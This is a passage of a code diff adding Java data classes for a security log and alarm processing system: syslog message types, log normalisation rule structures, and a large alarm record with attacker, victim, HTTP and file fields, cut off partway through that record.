private Integer maxEventLevel;
|
||||
private String firstEventType;
|
||||
private String eventType;
|
||||
private String minEventType;
|
||||
private Integer[] attackPorts;
|
||||
private Integer[] victimPorts;
|
||||
private String[] httpStatusCodes;
|
||||
private byte[][] payloadSamples;
|
||||
private String[] httpReqHeaders;
|
||||
private String[] httpReqBodys;
|
||||
private String[] httpRespHeaders;
|
||||
private String[] httpRespBodys;
|
||||
private String dnsInfo;
|
||||
private String victimIpsStr;
|
||||
private Integer[] allAttackResults; // 所有不同的attack_result值
|
||||
private Integer mostCommonAttackResult; // 最常见的attack_result值
|
||||
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
package com.common.entity;
|
||||
|
||||
public class RFC3164Message extends SyslogMessage {
|
||||
private String tag;
|
||||
|
||||
public String getTag() { return tag; }
|
||||
public void setTag(String tag) { this.tag = tag; }
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return String.format("RFC3164 [Facility: %d, Severity: %d, Host: %s, Tag: %s, Time: %s, Msg: %s]",
|
||||
facility, severity, hostname, tag, timestamp, message);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
package com.common.entity;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class RFC5424Message extends SyslogMessage {
|
||||
private int version;
|
||||
private Map<String, Map<String, String>> structuredData;
|
||||
|
||||
public RFC5424Message() {
|
||||
this.structuredData = new HashMap<>();
|
||||
}
|
||||
|
||||
public int getVersion() {
|
||||
return version;
|
||||
}
|
||||
|
||||
public void setVersion(int version) {
|
||||
this.version = version;
|
||||
}
|
||||
|
||||
public Map<String, Map<String, String>> getStructuredData() {
|
||||
return structuredData;
|
||||
}
|
||||
|
||||
public void setStructuredData(Map<String, Map<String, String>> structuredData) {
|
||||
this.structuredData = structuredData;
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
package com.common.entity.RuleContent;
|
||||
|
||||
|
||||
public class ActionType {
|
||||
private String type;
|
||||
private String relation_parser_id;
|
||||
private Object sparser_param;
|
||||
private Object param;
|
||||
|
||||
// Constructors
|
||||
public ActionType() {}
|
||||
|
||||
// Getters and Setters
|
||||
public String gettype() {
|
||||
return type;
|
||||
}
|
||||
|
||||
public void settype(String type) {
|
||||
this.type = type;
|
||||
}
|
||||
|
||||
public String getrelation_parser_id() {
|
||||
return relation_parser_id;
|
||||
}
|
||||
|
||||
public void setrelation_parser_id(String relation_parser_id) {
|
||||
this.relation_parser_id = relation_parser_id;
|
||||
}
|
||||
|
||||
public Object getsparser_param() {
|
||||
return sparser_param;
|
||||
}
|
||||
|
||||
public void setsparser_param(Object sparser_param) {
|
||||
this.sparser_param = sparser_param;
|
||||
}
|
||||
|
||||
public Object getparam() {
|
||||
return param;
|
||||
}
|
||||
|
||||
public void setparam(Object param) {
|
||||
this.param = param;
|
||||
}
|
||||
|
||||
}
|
||||
+26
@@ -0,0 +1,26 @@
|
||||
package com.common.entity.RuleContent;
|
||||
|
||||
|
||||
import lombok.Data;
|
||||
import java.util.List;
|
||||
|
||||
@Data
|
||||
public class CompleteColumn {
|
||||
private String columnName; // 要补全的字段名
|
||||
private Object value; // 补全的值
|
||||
private String filtersRelation; // 条件关系: "and" 或 "or"
|
||||
private List<Condition> conditions; // 条件列表
|
||||
|
||||
// 导入数据相关字段(扩展功能)
|
||||
private String importedDataTableName;
|
||||
private String filtersImportedRelation;
|
||||
private List<Condition> importedConditions;
|
||||
private List<CompleteColumn> completeImportedColumns;
|
||||
}
|
||||
|
||||
@Data
|
||||
class Condition {
|
||||
private String columnName; // 条件字段名
|
||||
private String op; // 操作符: =, !=, in, zero_len, contain, regexp
|
||||
private Object value; // 条件值
|
||||
}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
package com.common.entity.RuleContent;
|
||||
|
||||
|
||||
public class Complete_paramsType {
|
||||
private String name;
|
||||
private String value;
|
||||
private FiltersType filters;
|
||||
|
||||
// Constructors
|
||||
public Complete_paramsType() {}
|
||||
|
||||
// Getters and Setters
|
||||
public String getname() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public void setname(String name) {
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
public String getvalue() {
|
||||
return value;
|
||||
}
|
||||
|
||||
public void setvalue(String value) {
|
||||
this.value = value;
|
||||
}
|
||||
|
||||
public FiltersType getfilters() {
|
||||
return filters;
|
||||
}
|
||||
|
||||
public void setfilters(FiltersType filters) {
|
||||
this.filters = filters;
|
||||
}
|
||||
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
package com.common.entity.RuleContent;
|
||||
|
||||
|
||||
public class Cropper_paramsType {
|
||||
private String head_key;
|
||||
private Integer head_offset;
|
||||
private String tail_key;
|
||||
private Integer tail_offset;
|
||||
|
||||
// Constructors
|
||||
public Cropper_paramsType() {}
|
||||
|
||||
// Getters and Setters
|
||||
public String gethead_key() {
|
||||
return head_key;
|
||||
}
|
||||
|
||||
public void sethead_key(String head_key) {
|
||||
this.head_key = head_key;
|
||||
}
|
||||
|
||||
public Integer gethead_offset() {
|
||||
return head_offset;
|
||||
}
|
||||
|
||||
public void sethead_offset(Integer head_offset) {
|
||||
this.head_offset = head_offset;
|
||||
}
|
||||
|
||||
public String gettail_key() {
|
||||
return tail_key;
|
||||
}
|
||||
|
||||
public void settail_key(String tail_key) {
|
||||
this.tail_key = tail_key;
|
||||
}
|
||||
|
||||
public Integer gettail_offset() {
|
||||
return tail_offset;
|
||||
}
|
||||
|
||||
public void settail_offset(Integer tail_offset) {
|
||||
this.tail_offset = tail_offset;
|
||||
}
|
||||
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
package com.common.entity.RuleContent;
|
||||
|
||||
import lombok.Data;
|
||||
import java.util.List;
|
||||
|
||||
@Data
|
||||
public class FilterParam {
|
||||
private List<FilterGroup> filtersParams;
|
||||
}
|
||||
|
||||
@Data
|
||||
class FilterGroup {
|
||||
private List<FilterExpression> expressions;
|
||||
private String filtersRelation; // "and" 或 "or"
|
||||
}
|
||||
|
||||
@Data
|
||||
class FilterExpression {
|
||||
private String columnName; // 字段名
|
||||
private String op; // 操作符: =, !=, in, zero_len, contain, regexp
|
||||
private Object value; // 值,可能是字符串、数组等
|
||||
}
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
package com.common.entity.RuleContent;
|
||||
|
||||
public class FiltersType {
|
||||
|
||||
// Constructors
|
||||
public FiltersType() {}
|
||||
|
||||
// Getters and Setters
|
||||
}
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
package com.common.entity.RuleContent;
|
||||
|
||||
|
||||
public class MappersType {
|
||||
private Integer capture_group_index;
|
||||
private String origin_field;
|
||||
private String src_field;
|
||||
private String dest_field;
|
||||
private String value;
|
||||
private String assigned_value;
|
||||
private Integer strategy;
|
||||
private String mapping_rule_name;
|
||||
private ActionType action;
|
||||
|
||||
// Constructors
|
||||
public MappersType() {}
|
||||
|
||||
// Getters and Setters
|
||||
public Integer getcapture_group_index() {
|
||||
return capture_group_index;
|
||||
}
|
||||
|
||||
public void setcapture_group_index(Integer capture_group_index) {
|
||||
this.capture_group_index = capture_group_index;
|
||||
}
|
||||
|
||||
public String getorigin_field() {
|
||||
return origin_field;
|
||||
}
|
||||
|
||||
public void setorigin_field(String origin_field) {
|
||||
this.origin_field = origin_field;
|
||||
}
|
||||
|
||||
public String getsrc_field() {
|
||||
return src_field;
|
||||
}
|
||||
|
||||
public void setsrc_field(String src_field) {
|
||||
this.src_field = src_field;
|
||||
}
|
||||
|
||||
public String getdest_field() {
|
||||
return dest_field;
|
||||
}
|
||||
|
||||
public void setdest_field(String dest_field) {
|
||||
this.dest_field = dest_field;
|
||||
}
|
||||
|
||||
public String getvalue() {
|
||||
return value;
|
||||
}
|
||||
|
||||
public void setvalue(String value) {
|
||||
this.value = value;
|
||||
}
|
||||
|
||||
public String getassigned_value() {
|
||||
return assigned_value;
|
||||
}
|
||||
|
||||
public void setassigned_value(String assigned_value) {
|
||||
this.assigned_value = assigned_value;
|
||||
}
|
||||
|
||||
public Integer getstrategy() {
|
||||
return strategy;
|
||||
}
|
||||
|
||||
public void setstrategy(Integer strategy) {
|
||||
this.strategy = strategy;
|
||||
}
|
||||
|
||||
public String getmapping_rule_name() {
|
||||
return mapping_rule_name;
|
||||
}
|
||||
|
||||
public void setmapping_rule_name(String mapping_rule_name) {
|
||||
this.mapping_rule_name = mapping_rule_name;
|
||||
}
|
||||
|
||||
public ActionType getaction() {
|
||||
return action;
|
||||
}
|
||||
|
||||
public void setaction(ActionType action) {
|
||||
this.action = action;
|
||||
}
|
||||
|
||||
}
|
||||
+140
@@ -0,0 +1,140 @@
|
||||
package com.common.entity.RuleContent;
|
||||
import java.util.List;
|
||||
import java.util.ArrayList;
|
||||
import com.fasterxml.jackson.annotation.JsonProperty;
|
||||
import com.common.entity.RuleContent.*;
|
||||
|
||||
|
||||
public class Root {
|
||||
private Integer field_cate_id;
|
||||
private Integer field_cate_table_name;
|
||||
private String rule_name;
|
||||
private String data_type;
|
||||
private String decode;
|
||||
private List<String> keywords;
|
||||
private Cropper_paramsType cropper_params;
|
||||
private Object second_parsers;
|
||||
private Object second_parsers_v2;
|
||||
private List<MappersType> mappers;
|
||||
private String filters_params;
|
||||
private List<Complete_paramsType> complete_params;
|
||||
private String complete_columns;
|
||||
private Integer data_storage_medium;
|
||||
|
||||
// Constructors
|
||||
public Root() {}
|
||||
|
||||
// Getters and Setters
|
||||
public Integer getfield_cate_id() {
|
||||
return field_cate_id;
|
||||
}
|
||||
|
||||
public void setfield_cate_id(Integer field_cate_id) {
|
||||
this.field_cate_id = field_cate_id;
|
||||
}
|
||||
|
||||
public Integer getfield_cate_table_name() {
|
||||
return field_cate_table_name;
|
||||
}
|
||||
|
||||
public void setfield_cate_table_name(Integer field_cate_table_name) {
|
||||
this.field_cate_table_name = field_cate_table_name;
|
||||
}
|
||||
|
||||
public String getrule_name() {
|
||||
return rule_name;
|
||||
}
|
||||
|
||||
public void setrule_name(String rule_name) {
|
||||
this.rule_name = rule_name;
|
||||
}
|
||||
|
||||
public String getdata_type() {
|
||||
return data_type;
|
||||
}
|
||||
|
||||
public void setdata_type(String data_type) {
|
||||
this.data_type = data_type;
|
||||
}
|
||||
|
||||
public String getdecode() {
|
||||
return decode;
|
||||
}
|
||||
|
||||
public void setdecode(String decode) {
|
||||
this.decode = decode;
|
||||
}
|
||||
|
||||
public List<String> getkeywords() {
|
||||
return keywords;
|
||||
}
|
||||
|
||||
public void setkeywords(List<String> keywords) {
|
||||
this.keywords = keywords;
|
||||
}
|
||||
|
||||
public Cropper_paramsType getcropper_params() {
|
||||
return cropper_params;
|
||||
}
|
||||
|
||||
public void setcropper_params(Cropper_paramsType cropper_params) {
|
||||
this.cropper_params = cropper_params;
|
||||
}
|
||||
|
||||
public Object getsecond_parsers() {
|
||||
return second_parsers;
|
||||
}
|
||||
|
||||
public void setsecond_parsers(Object second_parsers) {
|
||||
this.second_parsers = second_parsers;
|
||||
}
|
||||
|
||||
public Object getsecond_parsers_v2() {
|
||||
return second_parsers_v2;
|
||||
}
|
||||
|
||||
public void setsecond_parsers_v2(Object second_parsers_v2) {
|
||||
this.second_parsers_v2 = second_parsers_v2;
|
||||
}
|
||||
|
||||
public List<MappersType> getmappers() {
|
||||
return mappers;
|
||||
}
|
||||
|
||||
public void setmappers(List<MappersType> mappers) {
|
||||
this.mappers = mappers;
|
||||
}
|
||||
|
||||
public String getfilters_params() {
|
||||
return filters_params;
|
||||
}
|
||||
|
||||
public void setfilters_params(String filters_params) {
|
||||
this.filters_params = filters_params;
|
||||
}
|
||||
|
||||
public List<Complete_paramsType> getcomplete_params() {
|
||||
return complete_params;
|
||||
}
|
||||
|
||||
public void setcomplete_params(List<Complete_paramsType> complete_params) {
|
||||
this.complete_params = complete_params;
|
||||
}
|
||||
|
||||
public String getcomplete_columns() {
|
||||
return complete_columns;
|
||||
}
|
||||
|
||||
public void setcomplete_columns(String complete_columns) {
|
||||
this.complete_columns = complete_columns;
|
||||
}
|
||||
|
||||
public Integer getdata_storage_medium() {
|
||||
return data_storage_medium;
|
||||
}
|
||||
|
||||
public void setdata_storage_medium(Integer data_storage_medium) {
|
||||
this.data_storage_medium = data_storage_medium;
|
||||
}
|
||||
|
||||
}
|
||||
+139
@@ -0,0 +1,139 @@
|
||||
package com.common.entity.RuleContent;
|
||||
import java.util.List;
|
||||
import java.util.ArrayList;
|
||||
import com.fasterxml.jackson.annotation.JsonProperty;
|
||||
import com.common.entity.RuleContent.*;
|
||||
public class RuleContent {
|
||||
|
||||
private Integer field_cate_id;
|
||||
private Integer field_cate_table_name;
|
||||
private String rule_name;
|
||||
private String data_type;
|
||||
private String decode;
|
||||
private List<String> keywords;
|
||||
private Cropper_paramsType cropper_params;
|
||||
private Object second_parsers;
|
||||
private Object second_parsers_v2;
|
||||
private List<MappersType> mappers;
|
||||
private String filters_params;
|
||||
private List<Complete_paramsType> complete_params;
|
||||
private String complete_columns;
|
||||
private Integer data_storage_medium;
|
||||
|
||||
// Constructors
|
||||
public RuleContent() {}
|
||||
|
||||
// Getters and Setters
|
||||
public Integer getfield_cate_id() {
|
||||
return field_cate_id;
|
||||
}
|
||||
|
||||
public void setfield_cate_id(Integer field_cate_id) {
|
||||
this.field_cate_id = field_cate_id;
|
||||
}
|
||||
|
||||
public Integer getfield_cate_table_name() {
|
||||
return field_cate_table_name;
|
||||
}
|
||||
|
||||
public void setfield_cate_table_name(Integer field_cate_table_name) {
|
||||
this.field_cate_table_name = field_cate_table_name;
|
||||
}
|
||||
|
||||
public String getrule_name() {
|
||||
return rule_name;
|
||||
}
|
||||
|
||||
public void setrule_name(String rule_name) {
|
||||
this.rule_name = rule_name;
|
||||
}
|
||||
|
||||
public String getdata_type() {
|
||||
return data_type;
|
||||
}
|
||||
|
||||
public void setdata_type(String data_type) {
|
||||
this.data_type = data_type;
|
||||
}
|
||||
|
||||
public String getdecode() {
|
||||
return decode;
|
||||
}
|
||||
|
||||
public void setdecode(String decode) {
|
||||
this.decode = decode;
|
||||
}
|
||||
|
||||
public List<String> getkeywords() {
|
||||
return keywords;
|
||||
}
|
||||
|
||||
public void setkeywords(List<String> keywords) {
|
||||
this.keywords = keywords;
|
||||
}
|
||||
|
||||
public Cropper_paramsType getcropper_params() {
|
||||
return cropper_params;
|
||||
}
|
||||
|
||||
public void setcropper_params(Cropper_paramsType cropper_params) {
|
||||
this.cropper_params = cropper_params;
|
||||
}
|
||||
|
||||
public Object getsecond_parsers() {
|
||||
return second_parsers;
|
||||
}
|
||||
|
||||
public void setsecond_parsers(Object second_parsers) {
|
||||
this.second_parsers = second_parsers;
|
||||
}
|
||||
|
||||
public Object getsecond_parsers_v2() {
|
||||
return second_parsers_v2;
|
||||
}
|
||||
|
||||
public void setsecond_parsers_v2(Object second_parsers_v2) {
|
||||
this.second_parsers_v2 = second_parsers_v2;
|
||||
}
|
||||
|
||||
public List<MappersType> getmappers() {
|
||||
return mappers;
|
||||
}
|
||||
|
||||
public void setmappers(List<MappersType> mappers) {
|
||||
this.mappers = mappers;
|
||||
}
|
||||
|
||||
public String getfilters_params() {
|
||||
return filters_params;
|
||||
}
|
||||
|
||||
public void setfilters_params(String filters_params) {
|
||||
this.filters_params = filters_params;
|
||||
}
|
||||
|
||||
public List<Complete_paramsType> getcomplete_params() {
|
||||
return complete_params;
|
||||
}
|
||||
|
||||
public void setcomplete_params(List<Complete_paramsType> complete_params) {
|
||||
this.complete_params = complete_params;
|
||||
}
|
||||
|
||||
public String getcomplete_columns() {
|
||||
return complete_columns;
|
||||
}
|
||||
|
||||
public void setcomplete_columns(String complete_columns) {
|
||||
this.complete_columns = complete_columns;
|
||||
}
|
||||
|
||||
public Integer getdata_storage_medium() {
|
||||
return data_storage_medium;
|
||||
}
|
||||
|
||||
public void setdata_storage_medium(Integer data_storage_medium) {
|
||||
this.data_storage_medium = data_storage_medium;
|
||||
}
|
||||
|
||||
}
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
package com.common.entity.RuleContent;
|
||||
|
||||
import lombok.Data;
|
||||
|
||||
@Data
|
||||
public class kv_paramsType {
|
||||
private String internal;
|
||||
private String external;
|
||||
private String l_trim;
|
||||
private String r_trim;
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
package com.common.entity;
|
||||
|
||||
|
||||
import lombok.Data;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
@Data
|
||||
public class RuleHitTimeDTO {
|
||||
/**
|
||||
* 泛化规则ID
|
||||
*/
|
||||
private Long normalizeRuleId;
|
||||
|
||||
/**
|
||||
* 最大命中时间(从标准化表中统计)
|
||||
*/
|
||||
private LocalDateTime maxLogTime;
|
||||
|
||||
/**
|
||||
* 数据来源表
|
||||
*/
|
||||
private String sourceTable;
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.Data;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
@Data
|
||||
public class SecExceptionAlgorithm {
|
||||
private Long id;
|
||||
private String algorithmName;
|
||||
private String exceptionType;
|
||||
private String dataSource;
|
||||
private Integer status; // 1启用
|
||||
private String description;
|
||||
private String configInfo;
|
||||
private String operatorZipUrl;
|
||||
private String remark;
|
||||
private String createBy;
|
||||
private LocalDateTime createTime;
|
||||
private String updateBy;
|
||||
private LocalDateTime updateTime;
|
||||
private String tenantId;
|
||||
private String delFlag;
|
||||
private Long createDept;
|
||||
private String apiUrl; // API URL
|
||||
private String apiMethod; // GET/POST
|
||||
private String respUrl;
|
||||
}
|
||||
+47
@@ -0,0 +1,47 @@
|
||||
package com.common.entity;
|
||||
|
||||
import java.time.OffsetDateTime;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
// 基础 Syslog 消息类
|
||||
public abstract class SyslogMessage {
|
||||
protected int priority;
|
||||
protected int facility;
|
||||
protected int severity;
|
||||
protected String hostname;
|
||||
protected String appName;
|
||||
protected String procId;
|
||||
protected String msgId;
|
||||
protected String message;
|
||||
protected OffsetDateTime timestamp;
|
||||
|
||||
// Getters and Setters
|
||||
public int getPriority() { return priority; }
|
||||
public void setPriority(int priority) {
|
||||
this.priority = priority;
|
||||
this.facility = priority / 8;
|
||||
this.severity = priority % 8;
|
||||
}
|
||||
|
||||
public int getFacility() { return facility; }
|
||||
public int getSeverity() { return severity; }
|
||||
public String getHostname() { return hostname; }
|
||||
public void setHostname(String hostname) { this.hostname = hostname; }
|
||||
public String getAppName() { return appName; }
|
||||
public void setAppName(String appName) { this.appName = appName; }
|
||||
public String getProcId() { return procId; }
|
||||
public void setProcId(String procId) { this.procId = procId; }
|
||||
public String getMsgId() { return msgId; }
|
||||
public void setMsgId(String msgId) { this.msgId = msgId; }
|
||||
public String getMessage() { return message; }
|
||||
public void setMessage(String message) { this.message = message; }
|
||||
public OffsetDateTime getTimestamp() { return timestamp; }
|
||||
public void setTimestamp(OffsetDateTime timestamp) { this.timestamp = timestamp; }
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return String.format("Facility: %d, Severity: %d, Host: %s, App: %s, Time: %s, Msg: %s",
|
||||
facility, severity, hostname, appName, timestamp, message);
|
||||
}
|
||||
}
|
||||
+162
@@ -0,0 +1,162 @@
|
||||
package com.common.entity;
|
||||
|
||||
|
||||
import com.baomidou.mybatisplus.annotation.*;
|
||||
import lombok.Data;
|
||||
import lombok.EqualsAndHashCode;
|
||||
|
||||
import java.time.LocalDateTime;
|
||||
import java.time.OffsetDateTime;
|
||||
|
||||
/**
|
||||
* 非标日志实体类
|
||||
*/
|
||||
@Data
|
||||
@EqualsAndHashCode(callSuper = false)
|
||||
@TableName("syslog_non_normal_message")
|
||||
public class SyslogNonNormalMessage {
|
||||
|
||||
/**
|
||||
* 非标ID
|
||||
*/
|
||||
@TableId(value = "id", type = IdType.INPUT)
|
||||
private String id;
|
||||
|
||||
/**
|
||||
* 记录时间(UTC时区)
|
||||
*/
|
||||
@TableField("created_at")
|
||||
private OffsetDateTime createdAt;
|
||||
|
||||
/**
|
||||
* log处理时间
|
||||
*/
|
||||
@TableField("log_time")
|
||||
private LocalDateTime logTime;
|
||||
|
||||
/**
|
||||
* 设备ID
|
||||
*/
|
||||
@TableField("device_id")
|
||||
private Integer deviceId;
|
||||
|
||||
/**
|
||||
* 原始日志
|
||||
*/
|
||||
@TableField("syslog_message")
|
||||
private String syslogMessage;
|
||||
|
||||
/**
|
||||
* 安全日志ID
|
||||
*/
|
||||
@TableField("syslog_uuid")
|
||||
private String syslogUuid;
|
||||
|
||||
/**
|
||||
* kafka topic
|
||||
*/
|
||||
@TableField("syslog_topic")
|
||||
private String syslogTopic;
|
||||
|
||||
/**
|
||||
* 租户ID
|
||||
*/
|
||||
@TableField("tenant_id")
|
||||
private String tenantId;
|
||||
|
||||
/**
|
||||
* 创建时间
|
||||
*/
|
||||
@TableField("create_time")
|
||||
private LocalDateTime createTime;
|
||||
|
||||
/**
|
||||
* 更新时间
|
||||
*/
|
||||
@TableField("update_time")
|
||||
private LocalDateTime updateTime;
|
||||
|
||||
/**
|
||||
* 创建者
|
||||
*/
|
||||
@TableField("create_by")
|
||||
private Long createBy;
|
||||
|
||||
/**
|
||||
* 更新者
|
||||
*/
|
||||
@TableField("update_by")
|
||||
private Long updateBy;
|
||||
|
||||
/**
|
||||
* 创建部门
|
||||
*/
|
||||
@TableField("create_dept")
|
||||
private Long createDept;
|
||||
|
||||
/**
|
||||
* 采集头部消息
|
||||
*/
|
||||
@TableField("header_message")
|
||||
private String headerMessage;
|
||||
|
||||
/**
|
||||
* 接收时间
|
||||
*/
|
||||
@TableField("receive_time")
|
||||
private LocalDateTime receiveTime;
|
||||
|
||||
/**
|
||||
* 泛化时间
|
||||
*/
|
||||
@TableField("rule_time")
|
||||
private LocalDateTime ruleTime;
|
||||
|
||||
/**
|
||||
* 设备名称
|
||||
*/
|
||||
@TableField("device_name")
|
||||
private String deviceName;
|
||||
|
||||
/**
|
||||
* ETL处理节点
|
||||
*/
|
||||
@TableField("etl_node")
|
||||
private String etlNode;
|
||||
|
||||
/**
|
||||
* 采集任务ID
|
||||
*/
|
||||
@TableField("collect_task_id")
|
||||
private Integer collectTaskId;
|
||||
|
||||
/**
|
||||
* 采集任务名称
|
||||
*/
|
||||
@TableField("collect_task_name")
|
||||
private String collectTaskName;
|
||||
|
||||
/**
|
||||
* 非标原因
|
||||
*/
|
||||
@TableField("reason")
|
||||
private String reason;
|
||||
|
||||
/**
|
||||
* 详细原因
|
||||
*/
|
||||
@TableField("reason_detail")
|
||||
private String reasonDetail;
|
||||
|
||||
/**
|
||||
* 泛化结果
|
||||
*/
|
||||
@TableField("rule_result")
|
||||
private String ruleResult;
|
||||
|
||||
/**
|
||||
* 删除标志
|
||||
*/
|
||||
@TableField("del_flag")
|
||||
private String delFlag;
|
||||
}
|
||||
+383
@@ -0,0 +1,383 @@
|
||||
package com.common.entity;
|
||||
|
||||
import lombok.Data;
|
||||
|
||||
import java.math.BigDecimal;
|
||||
import java.time.LocalDateTime;
|
||||
|
||||
@Data
|
||||
public class SyslogNormalAlarm {
|
||||
private String id;
|
||||
private LocalDateTime createdAt;
|
||||
private LocalDateTime logTime;
|
||||
private Integer deviceId;
|
||||
private String webshellType;
|
||||
private String vuirsType;
|
||||
private String vuirsUrl;
|
||||
private String classFilename;
|
||||
private String classPath;
|
||||
private String parentClass;
|
||||
private String jarPath;
|
||||
private String classMd5;
|
||||
private String classLoader;
|
||||
private String classHashcode;
|
||||
private String classLoaderHashcode;
|
||||
private String tcNameip;
|
||||
private String performSql;
|
||||
private String tcAccount;
|
||||
private String tcAppname;
|
||||
private String processUname;
|
||||
private String pProcessUname;
|
||||
private String containerName;
|
||||
private String containerId;
|
||||
private String httpRespServer;
|
||||
private Long srcipId;
|
||||
private String cdnip;
|
||||
private String natip;
|
||||
private String mailSender;
|
||||
private String mailReceiver;
|
||||
private String vpnMac;
|
||||
private String vpnOs;
|
||||
private String vpnUser;
|
||||
private String vpnGroupname;
|
||||
private String vpnAccessIp;
|
||||
private Boolean destIpApt;
|
||||
private String originAttackResult;
|
||||
private String description;
|
||||
private String solution;
|
||||
private String attackCause;
|
||||
private String username;
|
||||
private String tcFlowId;
|
||||
private String loginResult;
|
||||
private String cmdline;
|
||||
private String originAttackAction;
|
||||
private String victimDomain;
|
||||
private String vpnDeviceid;
|
||||
private String vpnAccessAction;
|
||||
private Long fileAccessTime;
|
||||
private String fileName;
|
||||
private String tcClass;
|
||||
private String tcName2;
|
||||
private Long loginLasttime;
|
||||
private String originPermissions;
|
||||
private String beginPermissions;
|
||||
private Long printTime;
|
||||
private String printer;
|
||||
private String printerType;
|
||||
private Long printPages;
|
||||
private Long printCopies;
|
||||
private String srcDevice;
|
||||
private String dstDevice;
|
||||
private String srcFile;
|
||||
private String srcFileType;
|
||||
private String srcFilePath;
|
||||
private String dstFile;
|
||||
private String dstFileType;
|
||||
private String dstFilePath;
|
||||
private String dlpPolicyName;
|
||||
private String dlpPolicyType;
|
||||
private String dstUploadUrl;
|
||||
private String processUuid;
|
||||
private String pProcessUuid;
|
||||
private String env;
|
||||
private String bruteForceService;
|
||||
private String vuirsName;
|
||||
private Long httpReqLength;
|
||||
private String httpReqContentType;
|
||||
private String tcScanPort;
|
||||
private String tcLabels;
|
||||
private String httpRespContentType;
|
||||
private String dnsMsgType;
|
||||
private String dnsAnswerLength;
|
||||
private Boolean dnsIoc;
|
||||
private BigDecimal txBytes;
|
||||
private BigDecimal rxBytes;
|
||||
private BigDecimal allBytes;
|
||||
private Long durationTime;
|
||||
private String mailAttachName;
|
||||
private String mailSubject;
|
||||
private String mailMessage;
|
||||
private String mailSendServer;
|
||||
private String mailAgent;
|
||||
private String tlsVersion;
|
||||
private String tlsServerCert;
|
||||
private String tlsServerSuite;
|
||||
private String tlsClientSuitesLen;
|
||||
private String tlsJa3;
|
||||
private String tlsJa3s;
|
||||
private String vpnAccessPort;
|
||||
private String logTopic;
|
||||
private Long collectTime;
|
||||
private Boolean srcIsIntranetip;
|
||||
private Boolean srcIpIoc;
|
||||
private Boolean srcIpApt;
|
||||
private String srcipName;
|
||||
private String tcClient;
|
||||
private Long srcipOrganizationId;
|
||||
private Boolean destIpIntranetip;
|
||||
private Boolean destIpIoc;
|
||||
private Long desipId;
|
||||
private String desipName;
|
||||
private String tcHostip;
|
||||
private Long desipOrganizationId;
|
||||
private String originConfidence;
|
||||
private String originMalscore;
|
||||
private String attackerIcampaign;
|
||||
private Long attackerHostAssetId;
|
||||
private Long attackerOrganizationId;
|
||||
private Long victimHostAssetId;
|
||||
private Long victimOrganizationId;
|
||||
private Long logoutTime;
|
||||
private String httpReqLine;
|
||||
private String desipSecurityScopeId;
|
||||
private String srcipSecurityScopeId;
|
||||
private Long httpRespLength;
|
||||
private String tcAttackType;
|
||||
private String tcRealip;
|
||||
private String attackerIpLists;
|
||||
private String loginPassword;
|
||||
private String detail;
|
||||
private String attackerCountryCode;
|
||||
private String attackerRegionCode;
|
||||
private String victimRegionCode;
|
||||
private String payload;
|
||||
private String httpReferer;
|
||||
private String httpUserAgent;
|
||||
private String httpSession;
|
||||
private String httpQueryString;
|
||||
private String filePath;
|
||||
private String filePermission;
|
||||
private String loginAbnormalType;
|
||||
private String fileTag;
|
||||
private String filePlatform;
|
||||
private String targetIp;
|
||||
private String collectDate;
|
||||
private String tcClientIp;
|
||||
private String tcServerIp;
|
||||
private String tcExternalip;
|
||||
private Long httpStatusCode;
|
||||
private String deviceDomian;
|
||||
private String srcIpStr;
|
||||
private String srcPortStr;
|
||||
private String destIpStr;
|
||||
private String destPortStr;
|
||||
private String pcap;
|
||||
private String ioc;
|
||||
private String maliciousFamily;
|
||||
private String vulnCve;
|
||||
private String aliyunType;
|
||||
private String attackerHostAssetName;
|
||||
private String attackerOrganizationName;
|
||||
private String ctId;
|
||||
private String cveList;
|
||||
private String desipOrganizationName;
|
||||
private String destIpGroup;
|
||||
private String fileGid;
|
||||
private String fileOwner;
|
||||
private String fileOwnergroup;
|
||||
private String fileUid;
|
||||
private String httpRespCookie;
|
||||
private String originRuleId;
|
||||
private String originRuleName;
|
||||
private String serviceName;
|
||||
private String srcIpAssetGroup;
|
||||
private String srcipOrganizationName;
|
||||
private String victimHostAssetName;
|
||||
private Long httpRespCodes;
|
||||
private String victimOrganizationName;
|
||||
private String tcType;
|
||||
private String direction;
|
||||
private String httpReqCookie;
|
||||
private String httpReqProtocol;
|
||||
private String httpReqHeaderRaw;
|
||||
private String httpUrl;
|
||||
private String uname;
|
||||
private String originHostname;
|
||||
private String originOs;
|
||||
private String originAgentMac;
|
||||
private String originHostId;
|
||||
private String originAgentVersion;
|
||||
private String originAgentId;
|
||||
private String originAgentName;
|
||||
private String originWorkGroup;
|
||||
private String originAssetGroup;
|
||||
private Long originLocalPort;
|
||||
private String originAgentIp;
|
||||
private String originInternalIp;
|
||||
private String originExternalIp;
|
||||
private String originLocalAddr;
|
||||
private Long agentId;
|
||||
private String agentName;
|
||||
private String tcTitle;
|
||||
private String logId;
|
||||
private LocalDateTime eventDate;
|
||||
private Long eventTimeTs;
|
||||
private Integer eventLevel;
|
||||
private String srcIp;
|
||||
private Long srcPort;
|
||||
private String destIp;
|
||||
private Long destPort;
|
||||
private Long eventTime;
|
||||
private String attackerCountry;
|
||||
private String srcMac;
|
||||
private String destMac;
|
||||
private String proto;
|
||||
private Long devId;
|
||||
private Long createdTime;
|
||||
private String srcCountry;
|
||||
private String srcCountryCode;
|
||||
private String srcRegion;
|
||||
private String srcRegionCode;
|
||||
